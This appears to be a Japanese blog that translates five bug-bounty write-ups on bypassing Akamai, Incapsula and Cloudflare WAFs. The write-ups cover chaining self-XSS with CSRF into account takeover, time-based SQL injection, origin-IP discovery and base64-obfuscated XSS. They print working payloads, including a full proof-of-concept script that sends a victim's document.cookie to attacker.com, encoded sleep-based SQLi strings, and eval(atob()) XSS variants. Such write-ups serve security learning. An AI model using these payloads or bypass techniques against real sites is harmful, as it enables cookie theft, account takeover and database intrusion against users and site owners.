shikata ga nai

Private? There is no such things.

chaining bugs from self XSS to account takeoverを訳してみた

Hello there, ('ω')ノ

 

セルフXSSからアカウントテイクオーバーへのバグの連鎖を。

 

脆弱性:

 Self XSS

 WAF bypass

 CSRF

 Account takeover

 

記事:

 https://medium.com/@behnam.yazdanpanah/chaining-bugs-from-self-xss-to-account-takeover-82d572136bdf

 

今回は、オンラインショップでredacted.comと呼ぶことに。

これは、Akamai WAFの背後にPHPで書かれていて。

 

最初のXSSおよびWAFバイパス:

アプリで少し作業した後に通常の/xhr/mage/accountとは完全異なる。

エンドポイントが注意を引いて。

 /xhr_preferences/index/change/


このページは、誕生日やどのブランドをストックしたいのかなど。

一連の質問に答える必要がある顧客の好みに関するもので。

パーソナライズされた製品の推奨事項を取得して。

HTMLインジェクションペイロードを配置すると機能して。


f:id:ThisIsOne:20220119080310p:plain

 

その後、これまでで最も有名なXSSペイロードを試すと。

 “><img src=1 onerror=alert(1)>

 

下記のレスポンスからAkamai WAFを推測して。

 403 Forbidden

 Server: AkamaiGHost

f:id:ThisIsOne:20220119080342p:plain

 

その後、Akamai WAFをバイパスしようとして下記を試すもののどれもうまくいかず。

 https://github.com/kill02lc/WAF-bypass-xss-payloads

 

f:id:ThisIsOne:20220119090101p:plain

 

ただ、名前のフィールドにXSSペイロードを保存できたものの。

他のフィールドでは、403 Forbiddenが返されるので。

そのエンドポイントの違いについてを調査することに。

下記は、顧客情報の更新のリクエストで。

 /xhr/mage/account/update-customer-info

 

リクエストはJSON形式で送信され、レスポンスは200 OKでしたが。

このパラメータはXSSに対して脆弱ではなかったことに注目して。

 

f:id:ThisIsOne:20220119080429p:plain

 

その後、すぐにリクエストを/xhr_preferences/index/change/のエンドポイントを。

クエリ文字列からJSONに変更して送信すると。

HTTP/2 302 Found を返すので。

WAFをバイパスできたが、設定に保存されないことを意味して。

 

f:id:ThisIsOne:20220119080606p:plain

 

そこで、次のようなJSONによるパラメータ汚染リクエストを送信する必要があって。

 

 {“anything_else”:”iiiiiiiiiiii”}&birth_day=2&birth_month=1&birth_year=2009&brands_to_stock%5B%5D=”><img+src=1+onerror=alert(1)>&anything_else=test

 

f:id:ThisIsOne:20220119081210p:plain

 

すると、セルフXSSとしてトリガされて。

 

f:id:ThisIsOne:20220119080807p:plain


2番目のCSRFバイパス:

バックエンドは、ユーザが自分のアカウントにログインするときに。

単純なメカニズムを使用しており。

CSRFと呼ばれるCOOKIEを次のようなランダムな値で設定して。

 Set-Cookie: csrf=7e3f4ebc6d40b5; Path=/


そして、POSTリクエストを送信するたびに。

CSRFがCOOKIEとヘッダに存在するかどうかを確認して。

それらが等しい場合は、200OKを返して。

そうでなければ、下記のレスポンスを。

 403 Forbidden {“error”:”invalid_request_csrf”}

 

下記は、無効なリクエストのCSRFで。

 /xhr/mage/account/update-customer-info

 

f:id:ThisIsOne:20220119081001p:plain

 

初めにも書いたように下記のエンドポイントは、完全に異なるので。

リクエストからCsrfヘッダを削除するだけで、機能して。

 /xhr_preferences/index/change/

 

この脆弱性により、攻撃者は任意のjavascriptを実行して。

脆弱性を再現するためのアカウント乗っ取り手順を実行できて。

 

 <script>
    function loadDoc() {
     const xhttp = new XMLHttpRequest();
     xhttp.onload = function() {
      document.getElementById(“demo”).innerHTML = this.responseText;
     }

     xhttp.open(“POST”, “https://www.redacted.com/xhr_preferences/index/change/");
     xhttp.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);
     xhttp.withCredentials = true;
          xhttp.send(‘{“anything_else”:”iiiiiiiiiiii”}&birth_day=2&birth_month=1&birth_year=2009&brands_to_stock%5B%5D=”><img+src%3dx+onerror%3dthis.src%3d”http%3a//attacker.com/%3fc%3d”%2bdocument.cookie>&anything_else=test’);
    }
    loadDoc();

    setTimeout(()=> {
     //loadDoc();
     window.location.href = “https://www.redacted.com/xhr_preferences/index/index/";
    }, 5000)
</script>

 

攻撃者の手順:

 攻撃者はPOC.htmlを編集して、attacker.comを自分のサイトに変更して。

 保存するだけで。

 

犠牲者のステップ:

 1.被害者は自分のアカウントにログインして。

 2.被害者が攻撃者のサイトを開いて。

 

Best regards, (^^ゞ

How I Bypassed Incapsula WAF By Impervaを訳してみた

Hello there, ('ω')ノ

 

ImpervaによってIncapsulaWAFをバイパスした方法を。

 

脆弱性:

 SQLインジェクション

 

記事:

 https://devnack.medium.com/how-i-bypassed-incapsula-waf-db0498b3a021

 

今回は、プライバシー上の理由から。

ターゲット名、ユーザ名、パスワードを編集して置き換えることに。

 

Webアプリケーションhttps://redacted.com/の残りのAPIで。

セキュリティの脆弱性をテストしていると。

注意を引いたエンドポイントがあって。

このエンドポイントは、カート内のアイテムを。

追加または更新するために使用されて。

 

以下のスクリーンショットからわかるように。

エンドポイントは(courses)と呼ばれる入力を検証していなくて。

さまざまな脆弱性に対してテストしているときに。

エンドポイントがSQLインジェクションに対して脆弱であることがわかって。

別のテスト中に、アプリケーションがサイバー攻撃から自身を。

保護するためにImpervaによるIncapsula WAFを使用していて。

テストを困難にしていることがわかって。

 

f:id:ThisIsOne:20220118053950p:plain

 

そこで、インストールされたWAFをバイパスすることにして。

WAFは、 (insert, update, sleep, onto, etc.)などの。

SQL特殊キーワードのすべてを含むほとんどすべての複雑なクエリをブロックして。

sleepを含む特別なキーワードも完全にブロックして。

sleep(1+1), sleep (5), sleep(/**/2)などのさまざまな方法を試すものの。

どれも機能せず、すべてのリクエストがWAFによってブロックされて。

 

f:id:ThisIsOne:20220118054024p:plain

 

なぜsleepステートメントを使用することにしたのかというと。

sleepステートメントを使用することで、データベースに害を与えたり。

機密データにアクセスしたりすることなく。

SQLインジェクションの脆弱性を実証できるわけで。

 

sleep(5)と同等の部分的なURLエンコードsle%25p(5)を使用することにすると。

これもブロックされ、URLエンコードを使用して括弧内に。

ランダムな16進値を入れることにして。

ペイロードsle%25p%28'0x12'%2b1)は、有名なWAFをバイパスできて。

 sle%25p%28'0x12'%2b1) sleep('18'+1)

 

URLデコードを使用してペイロードをデコードする場合、ペイロードは。

単にsleep(‘0x12’+1)であり、これは完全に有効なsqlステートメントであり。

高価なWAFをバイパスできて。

 

BooleanベースのSQLiを使用することで。

データベースの現在のユーザを取得できたので。

次に、下記のペイロードを使用することに。

 ‘%2b12%2bif(user()+like+redacted%’,2,sle%45p%28'0x12'%2b1))+ ********** +s

 ⇧

 ‘+12+if(user() like redacted%’,2,sleEp('0x12'+1))+ ********** +s

 

このペイロードは、現在のユーザが編集されているかどうかをMySqlに通知して。

を返し、残りのクエリが実行されて。

 

f:id:ThisIsOne:20220118053853p:plain

 

そうすると、mysqlがスリープ状態になり。

4〜5秒間スリープしていることが確認できて。

 

f:id:ThisIsOne:20220118053826p:plain

 

結論:

Webアプリケーションファイアウォールを使用するのは良いことであり。

最初はセキュリティインシデントを回避するのに役立つものの。

アプリケーションのセキュリティを保証することはできないので。

アプリケーションのセキュリティは、アプリケーションで処理する必要があって。

また、WAFなどは手動のセキュリティテスト(侵入テスト)を。

自分で行う必要があって。

 

Best regards, (^^ゞ

How I was able to bypass WAF and find the origin IP and a few sensitive filesを訳してみた

Hello there, ('ω')ノ

 

WAFをバイパスして元のIPといくつかの機密ファイルを見つけることができた方法を。

 

脆弱性:

 WAFバイパス

 

記事:

 https://janmuhammadzaidi.medium.com/how-i-was-able-to-bypass-waf-and-find-the-origin-ip-and-a-few-sensitive-files-fc445180adb7

 

今回は、shodanを使用して、WAFをバイパスして。

瞬間的に元のIPを見つけることができた方法を。


ターゲットをtarget.comと呼ぶことに。

偵察中に、ターゲットがCloudflareWAFによって保護されていることに気づいて。

オリジンIPを見つけるために、ターミナルを開いてコマンドを実行して。

 nslookup target.com

 

しかし、解決されたIPは、オリジンサーバを保護する目的で。

Cloudflareによって生成されて。

URLでそれらのIPにアクセスすると。

「直接IPアクセスは許可されていません」と表示されて。

 

f:id:ThisIsOne:20220117225611p:plain

 

複数の記事を参照した後、興味深い正規表現を見つけて。

 Ssl.cert.subject.CN:”target.com” 200

 

Shodan検索エンジンでこの正規表現を検索すると。

サーバーオリジンIPが明らかになったので。

WAFを経由せずにサーバと直接通信できるようになって。

 

Cloudflareがバイパスされているかどうかを確認するために、wafw00fを使用すると。

 wafw00ftarget.com ⇨ Cloudflareによって保護されて

 wafw00forigin_ip ⇨ WAFが検出さず

 

 https://www.kali.org/tools/wafw00f/

f:id:ThisIsOne:20220117230553p:plain

 

さらに深く掘り下げることに。

ディレクトリをブルートフォースするために、dirbusterとffufを起動すると。

意図したURLでは見つけることができなかった複数の隠しファイルとディレクトリを。

見つけることができて。

 

Best regards, (^^ゞ

How i was able to pwned application by Bypassing Cloudflare WAFを訳してみた

Hello there, ('ω')ノ

 

CloudflareWAFをバイパスしてアプリケーションを作成できた方法を。

 

脆弱性:

 WAF bypass

 

記事:

 https://infosecwriteups.com/bypass-cloudflare-waf-to-pwned-application-2c9e4f862319

 

今回、プライベートプログラム(例:xyz.com)で作業していて。

自分の方法論に従って。

dnsdumpster、virustotal、aquatone、sublister、findsubdomains.comなどから。

すべてのサブドメインを取得して。

その中から、wordpress上で実行されている1つのサブドメインを取得したので。

古いバージョンを使用している場合は。

XSSを取得するための基本的なものをチェックすることに。

スクリプトを実行してwpディレクトリを確認した後に。

x.xyz.com/wp-login.php ?action=registerが表示されて。

 

f:id:ThisIsOne:20220117214332p:plain

 

これは、Cloudflareによってブロックされているように見えて。

では、CloudflareのWAFをバイパスして。

OriginIPを取得できるとしたらどうかを考えて。

 

Cloudflareを使用すると、Webサイトはあらゆる種類の攻撃から保護できて。

また、Webアプリケーションファイアウォール(WAF)として機能して。

Webベースの脆弱性の悪用をブロックすることもできるので。

 

 https://www.cloudflare.com/

f:id:ThisIsOne:20220117214457p:plain

 

CFBYPASSツールを使用して。

 https://github.com/christophetd/CloudFlair

f:id:ThisIsOne:20220117214542p:plain

 

このツールを実行した後、OriginIPを取得できて。

そのOriginIPで、x.x.x.x/wp-login.php?action=registerを試すと。

サインアップページが表示され、メールを使用してそこでサインアップできて。

システムを起動できて。

 

Best regards, (^^ゞ

Bypassing WAF to perform XSSを訳してみた

Hello there, ('ω')ノ

 

XSSを実行するためにWAFをバイパスするを。

 

脆弱性:

 XSS

 

記事:

 https://infosecwriteups.com/bypassing-waf-to-perform-xss-2d2f5a4367f3

 

XSSを探していたところ、/adminディレクトリに管理者ログインフォームがある。

Webサイト(website.comと仮定)にアクセスすると。

下記が、website.com/adminの管理パネルで。

 

f:id:ThisIsOne:20220117065541p:plain

 

ランダムなクレデンシャルを入力して、どのような応答が得られるかを確認すると。

 /admin/index.php?msg=Invalid%20Email%20and%20Password

 

f:id:ThisIsOne:20220117065608p:plain

 

これは私がリダイレクトされたURLであり、デフォルトではエラーメッセージを表示するのは非常に悪い考えですが、これはさまざまなWebサイトでよく見られる実装です。

?msgの任意の値がWebサイトに反映される可能性があるため。

理解しやすいように下記のように変更してみると。

 website.com/admin/index.php?msg=HelloWorld

 

?msg=HelloWorldが反映されて。

 

f:id:ThisIsOne:20220117065639p:plain

 

これで、入力したすべての入力がその赤いフォントのテキストに。

反映されていることがわかったので。

HTMLタグを挿入しようとするとどうなるかHTMLインジェクションを。

 ?msg=<h1>Hello World</h1>

 

f:id:ThisIsOne:20220117065704p:plain

 

HTMLインジェクションが成功したので。

今度は、Javascriptコードを配置することに。

XSSがポップアップすることを期待して。

50を超える基本的なXSSペイロードを試すことに。

 ?msg=<script>alert(1)</script>
 ?msg=<img src=xss onerror=alert(1)>
 ?msg=<input/onmouseover=”javaSCRIPT&colon;confirm&lpar;1&rpar;”
 ?msg=<iframe %00 src=”&Tab;javascript:prompt(1)&Tab;”%00>

 

すべてサーバによってブロックされており、裏にWAFがあるようで。

下記がXSSリクエストがWAFによってブロックされた画面で。

 

f:id:ThisIsOne:20220117065731p:plain

 

50を超えるXSSペイロードを入力することで。

WAFが実際にフィルタリングしているものについて結論を出すことに。

 

<script>、<frame、<input、<formのすべてのペイロードは。

WAFによって直接ブロックされて。

alert( )を含むすべてのペイロードも、WAFによって直接ブロックされて。

では、alert( )が除外されたときに、XSSをどのようにポップアップするのかを。

推測していると、<imgが除外されていないことに気付いたので。

それに基づいてより複雑なペイロードを作成し始めて。

下記は、<imgはバイパスされたもののXSSはなくて。

 ?msg=<img/src=`%00`%20onerror=this.onerror=confirm(1)

 

f:id:ThisIsOne:20220117065829p:plain

 

次に、<svg>が除外されていないことに気づいて。

alert()がブロックされているものの、confirm()が機能したので試すと。

 <svg><script%20?>confirm(1)

 

svgが挿入されたものの、XSSポップアップはなくて。

 

f:id:ThisIsOne:20220117065950p:plain

 

WAFがあるので、eval.atobを使用したBase64デコードなどバイパスを試すと。

うまくいったので、<svg>を使い続けて。

 <svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>

 

https://developer.mozilla.org/ja/docs/Web/API/atob

f:id:ThisIsOne:20220117073023p:plain

 

f:id:ThisIsOne:20220117073209p:plain

 

このペイロードは、base64値をデコードしてalert(‘XSS’)に。

ペイロードを起動するとXSSが。

 

f:id:ThisIsOne:20220117065900p:plain

 

XSSペイロード(WAFによってフィルタで除外された)を。

base64にエンコードすることで、実行できて。

 <svg/onload=eval(atob(‘YWxlcnQoZG9jdW1lbnQuY29va2llKQ==’))>

 

f:id:ThisIsOne:20220117073707p:plain

 

このbase64は、alert(document.cookie) で、期待どおりに機能して。

Base64でエンコードされると、WAFによって検出されないようで。

 

f:id:ThisIsOne:20220117065922p:plain

 

Best regards, (^^ゞ

ひとりひとりの自覚をもった行動で、医療従事者と保健所職員を助けよう。

f:id:ThisIsOne:20200404115457p:plain